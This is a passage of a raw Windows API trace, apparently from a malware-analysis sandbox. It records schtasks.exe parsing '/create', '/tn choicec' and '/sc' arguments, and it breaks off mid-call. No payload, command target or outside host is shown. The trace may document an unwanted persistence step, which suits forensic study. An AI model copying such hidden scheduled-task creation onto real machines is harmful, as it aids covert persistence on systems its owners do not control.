lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0064.915] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0064.916] GetProcessHeap () returned 0x330000 [0064.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x74e) returned 0x34def0 [0064.916] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x34def0 | out: lpData=0x34def0) returned 1 [0064.917] VerQueryValueW (in: pBlock=0x34def0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c878, puLen=0x19c8e0 | out: lplpBuffer=0x19c878*=0x34e28c, puLen=0x19c8e0) returned 1 [0064.917] _memicmp (_Buf1=0x34bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.917] _vsnwprintf (in: _Buffer=0x34bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c858 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0064.917] VerQueryValueW (in: pBlock=0x34def0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c8e8, puLen=0x19c8d8 | out: lplpBuffer=0x19c8e8*=0x34e0b8, puLen=0x19c8d8) returned 1 [0064.917] lstrlenW (lpString="schtasks.exe") returned 12 [0064.917] lstrlenW (lpString="schtasks.exe") returned 12 [0064.917] lstrlenW (lpString=".EXE") returned 4 [0064.917] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0064.918] lstrlenW (lpString="schtasks.exe") returned 12 [0064.918] lstrlenW (lpString=".EXE") returned 4 [0064.918] lstrlenW (lpString="schtasks") returned 8 [0064.918] lstrlenW (lpString="/create") returned 7 [0064.918] _memicmp (_Buf1=0x34bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.918] _vsnwprintf (in: _Buffer=0x34bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c858 | out: _Buffer="schtasks /create") returned 16 [0064.918] _memicmp (_Buf1=0x34bc10, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.918] GetProcessHeap () returned 0x330000 [0064.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cf40 [0064.918] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.918] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0064.919] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0064.919] GetProcessHeap () returned 0x330000 [0064.919] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x30) returned 0x347c50 [0064.919] _vsnwprintf (in: _Buffer=0x34c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c858 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0064.919] GetProcessHeap () returned 0x330000 [0064.919] GetProcessHeap () returned 0x330000 [0064.919] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34def0) returned 1 [0064.919] GetProcessHeap () returned 0x330000 [0064.919] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34def0) returned 0x74e [0064.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34def0 | out: hHeap=0x330000) returned 1 [0064.968] SetLastError (dwErrCode=0x0) [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.968] lstrlenW (lpString="create") returned 6 [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.968] lstrlenW (lpString="?") returned 1 [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.968] lstrlenW (lpString="s") returned 1 [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.968] lstrlenW (lpString="u") returned 1 [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.968] lstrlenW (lpString="p") returned 1 [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.968] lstrlenW (lpString="ru") returned 2 [0064.968] GetThreadLocale () returned 0x409 [0064.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="rp") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="sc") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="mo") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="d") returned 1 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="m") returned 1 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="i") returned 1 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="tn") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="tr") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="st") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="sd") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.969] lstrlenW (lpString="ed") returned 2 [0064.969] GetThreadLocale () returned 0x409 [0064.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="it") returned 2 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="et") returned 2 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="k") returned 1 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="du") returned 2 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="ri") returned 2 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="z") returned 1 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="f") returned 1 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="v1") returned 2 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="xml") returned 3 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.970] lstrlenW (lpString="ec") returned 2 [0064.970] GetThreadLocale () returned 0x409 [0064.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.971] lstrlenW (lpString="rl") returned 2 [0064.971] GetThreadLocale () returned 0x409 [0064.971] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.971] lstrlenW (lpString="delay") returned 5 [0064.971] GetThreadLocale () returned 0x409 [0064.971] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.971] lstrlenW (lpString="np") returned 2 [0064.971] SetLastError (dwErrCode=0x0) [0064.971] SetLastError (dwErrCode=0x0) [0064.971] lstrlenW (lpString="/create") returned 7 [0064.971] lstrlenW (lpString="-/") returned 2 [0064.971] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.971] lstrlenW (lpString="create") returned 6 [0064.971] lstrlenW (lpString="create") returned 6 [0064.971] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.971] lstrlenW (lpString="create") returned 6 [0064.971] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.971] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.971] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.971] lstrlenW (lpString="|create|") returned 8 [0064.971] lstrlenW (lpString="|create|") returned 8 [0064.971] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0064.971] SetLastError (dwErrCode=0x0) [0064.971] SetLastError (dwErrCode=0x0) [0064.971] SetLastError (dwErrCode=0x0) [0064.971] lstrlenW (lpString="/tn") returned 3 [0064.971] lstrlenW (lpString="-/") returned 2 [0064.971] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.971] lstrlenW (lpString="create") returned 6 [0064.972] lstrlenW (lpString="create") returned 6 [0064.972] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.972] lstrlenW (lpString="tn") returned 2 [0064.972] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.972] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.972] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.972] lstrlenW (lpString="|create|") returned 8 [0064.972] lstrlenW (lpString="|tn|") returned 4 [0064.972] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0064.972] SetLastError (dwErrCode=0x490) [0064.972] lstrlenW (lpString="?") returned 1 [0064.972] lstrlenW (lpString="?") returned 1 [0064.972] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.972] lstrlenW (lpString="tn") returned 2 [0064.972] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.972] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0064.972] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.972] lstrlenW (lpString="|?|") returned 3 [0064.972] lstrlenW (lpString="|tn|") returned 4 [0064.972] SetLastError (dwErrCode=0x490) [0064.972] lstrlenW (lpString="s") returned 1 [0064.972] lstrlenW (lpString="s") returned 1 [0064.972] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.972] lstrlenW (lpString="tn") returned 2 [0064.972] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.972] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0064.972] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.972] lstrlenW (lpString="|s|") returned 3 [0064.972] lstrlenW (lpString="|tn|") returned 4 [0064.972] SetLastError (dwErrCode=0x490) [0064.973] lstrlenW (lpString="u") returned 1 [0064.973] lstrlenW (lpString="u") returned 1 [0064.973] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.973] lstrlenW (lpString="tn") returned 2 [0064.973] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.973] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0064.973] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.973] lstrlenW (lpString="|u|") returned 3 [0064.973] lstrlenW (lpString="|tn|") returned 4 [0064.973] SetLastError (dwErrCode=0x490) [0064.973] lstrlenW (lpString="p") returned 1 [0064.973] lstrlenW (lpString="p") returned 1 [0064.973] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.973] lstrlenW (lpString="tn") returned 2 [0064.973] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.973] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0064.973] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.973] lstrlenW (lpString="|p|") returned 3 [0064.973] lstrlenW (lpString="|tn|") returned 4 [0064.973] SetLastError (dwErrCode=0x490) [0064.973] lstrlenW (lpString="ru") returned 2 [0064.973] lstrlenW (lpString="ru") returned 2 [0064.973] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.973] lstrlenW (lpString="tn") returned 2 [0064.973] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.973] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0064.973] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.973] lstrlenW (lpString="|ru|") returned 4 [0064.973] lstrlenW (lpString="|tn|") returned 4 [0064.974] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0064.974] SetLastError (dwErrCode=0x490) [0064.974] lstrlenW (lpString="rp") returned 2 [0064.974] lstrlenW (lpString="rp") returned 2 [0064.974] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.974] lstrlenW (lpString="tn") returned 2 [0064.974] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.974] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0064.974] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.974] lstrlenW (lpString="|rp|") returned 4 [0064.974] lstrlenW (lpString="|tn|") returned 4 [0064.974] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0064.974] SetLastError (dwErrCode=0x490) [0064.974] lstrlenW (lpString="sc") returned 2 [0064.974] lstrlenW (lpString="sc") returned 2 [0064.974] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.974] lstrlenW (lpString="tn") returned 2 [0064.974] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.974] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.974] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.974] lstrlenW (lpString="|sc|") returned 4 [0064.974] lstrlenW (lpString="|tn|") returned 4 [0064.974] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0064.974] SetLastError (dwErrCode=0x490) [0064.974] lstrlenW (lpString="mo") returned 2 [0064.974] lstrlenW (lpString="mo") returned 2 [0064.974] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.974] lstrlenW (lpString="tn") returned 2 [0064.974] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.975] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0064.975] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.975] lstrlenW (lpString="|mo|") returned 4 [0064.975] lstrlenW (lpString="|tn|") returned 4 [0064.975] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0064.975] SetLastError (dwErrCode=0x490) [0064.975] lstrlenW (lpString="d") returned 1 [0064.975] lstrlenW (lpString="d") returned 1 [0064.975] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.975] lstrlenW (lpString="tn") returned 2 [0064.975] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.975] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0064.975] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.975] lstrlenW (lpString="|d|") returned 3 [0064.975] lstrlenW (lpString="|tn|") returned 4 [0064.975] SetLastError (dwErrCode=0x490) [0064.975] lstrlenW (lpString="m") returned 1 [0064.975] lstrlenW (lpString="m") returned 1 [0064.975] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.975] lstrlenW (lpString="tn") returned 2 [0064.975] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.975] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0064.975] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.975] lstrlenW (lpString="|m|") returned 3 [0064.975] lstrlenW (lpString="|tn|") returned 4 [0064.975] SetLastError (dwErrCode=0x490) [0064.975] lstrlenW (lpString="i") returned 1 [0064.976] lstrlenW (lpString="i") returned 1 [0064.976] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.976] lstrlenW (lpString="tn") returned 2 [0064.976] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.976] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|i|") returned 3 [0064.976] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.976] lstrlenW (lpString="|i|") returned 3 [0064.976] lstrlenW (lpString="|tn|") returned 4 [0064.976] SetLastError (dwErrCode=0x490) [0064.976] lstrlenW (lpString="tn") returned 2 [0064.976] lstrlenW (lpString="tn") returned 2 [0064.976] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.976] lstrlenW (lpString="tn") returned 2 [0064.976] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.976] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.976] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0064.976] lstrlenW (lpString="|tn|") returned 4 [0064.976] lstrlenW (lpString="|tn|") returned 4 [0064.976] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0064.976] SetLastError (dwErrCode=0x0) [0064.976] SetLastError (dwErrCode=0x0) [0064.976] lstrlenW (lpString="choicec") returned 7 [0064.976] lstrlenW (lpString="-/") returned 2 [0064.976] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0064.976] SetLastError (dwErrCode=0x490) [0064.976] SetLastError (dwErrCode=0x490) [0064.976] SetLastError (dwErrCode=0x0) [0064.976] lstrlenW (lpString="choicec") returned 7 [0064.976] StrChrIW (lpStart="choicec", wMatch=0x3a) returned 0x0 [0064.976] SetLastError (dwErrCode=0x490) [0064.976] SetLastError (dwErrCode=0x0) [0064.977] lstrlenW (lpString="choicec") returned 7 [0064.977] SetLastError (dwErrCode=0x0) [0064.977] SetLastError (dwErrCode=0x0) [0064.977] lstrlenW (lpString="/sc") returned 3 [0064.977] lstrlenW (lpString="-/") returned 2 [0064.977] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.977] lstrlenW (lpString="create") returned 6 [0064.977] lstrlenW (lpString="create") returned 6 [0064.977] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.977] lstrlenW (lpString="sc") returned 2 [0064.977] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.977] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0064.977] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.977] lstrlenW (lpString="|create|") returned 8 [0064.977] lstrlenW (lpString="|sc|") returned 4 [0064.977] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0064.977] SetLastError (dwErrCode=0x490) [0064.977] lstrlenW (lpString="?") returned 1 [0064.977] lstrlenW (lpString="?") returned 1 [0064.977] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.977] lstrlenW (lpString="sc") returned 2 [0064.977] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.977] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0064.977] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.977] lstrlenW (lpString="|?|") returned 3 [0064.977] lstrlenW (lpString="|sc|") returned 4 [0064.977] SetLastError (dwErrCode=0x490) [0064.977] lstrlenW (lpString="s") returned 1 [0064.977] lstrlenW (lpString="s") returned 1 [0064.977] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.978] lstrlenW (lpString="sc") returned 2 [0064.978] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.978] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0064.978] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.978] lstrlenW (lpString="|s|") returned 3 [0064.978] lstrlenW (lpString="|sc|") returned 4 [0064.978] SetLastError (dwErrCode=0x490) [0064.978] lstrlenW (lpString="u") returned 1 [0064.978] lstrlenW (lpString="u") returned 1 [0064.978] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.978] lstrlenW (lpString="sc") returned 2 [0064.978] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.978] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0064.978] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.978] lstrlenW (lpString="|u|") returned 3 [0064.978] lstrlenW (lpString="|sc|") returned 4 [0064.978] SetLastError (dwErrCode=0x490) [0064.978] lstrlenW (lpString="p") returned 1 [0064.978] lstrlenW (lpString="p") returned 1 [0064.978] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.978] lstrlenW (lpString="sc") returned 2 [0064.978] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.978] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0064.978] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.978] lstrlenW (lpString="|p|") returned 3 [0064.978] lstrlenW (lpString="|sc|") returned 4 [0064.978] SetLastError (dwErrCode=0x490) [0064.978] lstrlenW (lpString="ru") returned 2 [0064.978] lstrlenW (lpString="ru") returned 2 [0064.978] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.979] lstrlenW (lpString="sc") returned 2 [0064.979] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.979] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0064.979] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0064.979] lstrlenW (lpString="|ru|") returned 4 [0064.979] lstrlenW (lpString="|sc|") returned 4 [0064.979] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") 